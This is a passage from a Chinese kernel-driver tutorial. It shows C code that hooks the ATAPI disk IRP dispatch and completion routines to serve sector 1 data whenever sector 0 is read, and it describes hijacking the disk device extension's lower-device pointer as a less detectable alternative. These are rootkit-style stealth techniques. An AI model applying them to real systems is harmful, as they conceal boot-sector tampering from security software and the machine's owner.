区,其中包含了我们要重定向的扇区。第二种情况的重定向有多种做法,一是直接下发IRP,等IRP完成了,再替换Buffer中的内容;二是拆分成几个IRP下发,等拆分的IRP都完成了,再 完成主IRP就可以了。本文演示第一种方法,比较简单,适合重定位扇区比较少的情况,第 二种方法比较适合商用,可以在重定位扇区比较多的场景使用。代码用于把0号扇区的数据 重定向到1号扇区。
NTSTATUSNTAPIDetour_DeviceInternalControl(PDEVICE_OBJECT lpDevice,PIRP pIrp){PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(pIrp); PSCSI_REQUEST_BLOCK srb = NULL;NTSTATUS Status = 0;PCDB pCdb =NULL;if (Stack->MajorFunction==IRP_MJ_SCSI){if (lpDevice->DeviceType==FILE_DEVICE_DISK){srb = (PSCSI_REQUEST_BLOCK)Stack->Parameters.Scsi.Srb;if (srb->Function== SRB_FUNCTION_EXECUTE_SCSI&&srb->CdbLength==10){pCdb =(PCDB)srb->Cdb ;if (srb->SrbFlags& SRB_FLAGS_DATA_IN){{KdPrint(("Receiver Read disk request-----%08X\n",pCdb)); PrintSrbBuffer(srb);}ULONG Lba,Len;if (ParseLBAAndLength(pCdb,&Lba,&Len)){if (Lba==0){if (Len==1){//如果只是读取一个扇区,并且就是要重定向的扇区,比较好办,直接替换。前面说了是倒序,所以这里是LogicalBlockByte3,而不是LogicalBlockByte0pCdb->CDB10.LogicalBlockByte3=1;//重定向到1扇区}else{//到这里就是上面的第二种情况,需要实现完成例程 的Hook,在完成例程中实现Buffer替换。注意,ATAPI的很多IRP都是异步的,所以不要 指望在分发函数返回时就去修改buffer,标准的做法是替换完成例程,在完成例程里实现替换。
PCOMPLETE_CONTEXT Context = (PCOMPLETE_CONTEXT)AllocateNonPagedBuffer(sizeof(COMPLETE_CONTEXT));Context->Routine = Stack->CompletionRoutine; Context->Control = Stack->Control;Context->Context = Stack->Context;Stack->CompletionRoutine =ATAPIReadIoCompletion;Stack->Context = Context; Stack->Control =SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;}}}}}}}Status = g_Dispatch(lpDevice,pIrp);return Status ;}完成例程很简单,下面的g_Buffer中保存了1号扇区的数据。注意ATAPI的IRP输出地址使用的是MDL描述。NTSTATUSstdcallATAPIReadIoCompletion(IN PDEVICE_OBJECT DeviceObject, INPIRP Irp,INPVOID Context){NTSTATUS Status =STATUS_SUCCESS; PVOID Buffer = NULL;PCOMPLETE_CONTEXT pContext = (PCOMPLETE_CONTEXT)Context;if (Irp->MdlAddress){Buffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress,NormalPagePriority);if(Buffer){KdPrint(("hit!!!!\n")); RtlCopyMemory(Buffer,g_Buffer,512);}}if (pContext){if (pContext->Routine){Status = pContext->Routine(DeviceObject,Irp,pContext->Context);}FreeBuffer(pContext);}return Status;}IRP HOOK实现方法易于被检测,所以现在有一些使用磁盘设备对象劫持的方法,劫持的
|
看到了吧,设备扩展+8的地址就是ATAPI的设备对象指针,下发IRP的时候会使用这个设 备,所以劫持的原理就是替换DISK设备扩展中的这个底层ATAPI设备的指针为自己驱动的指 针,这样IRP就会被转发到我们的驱动,在驱动中进行一些过滤操作就可以了,过滤原理同上,就不再赘述了。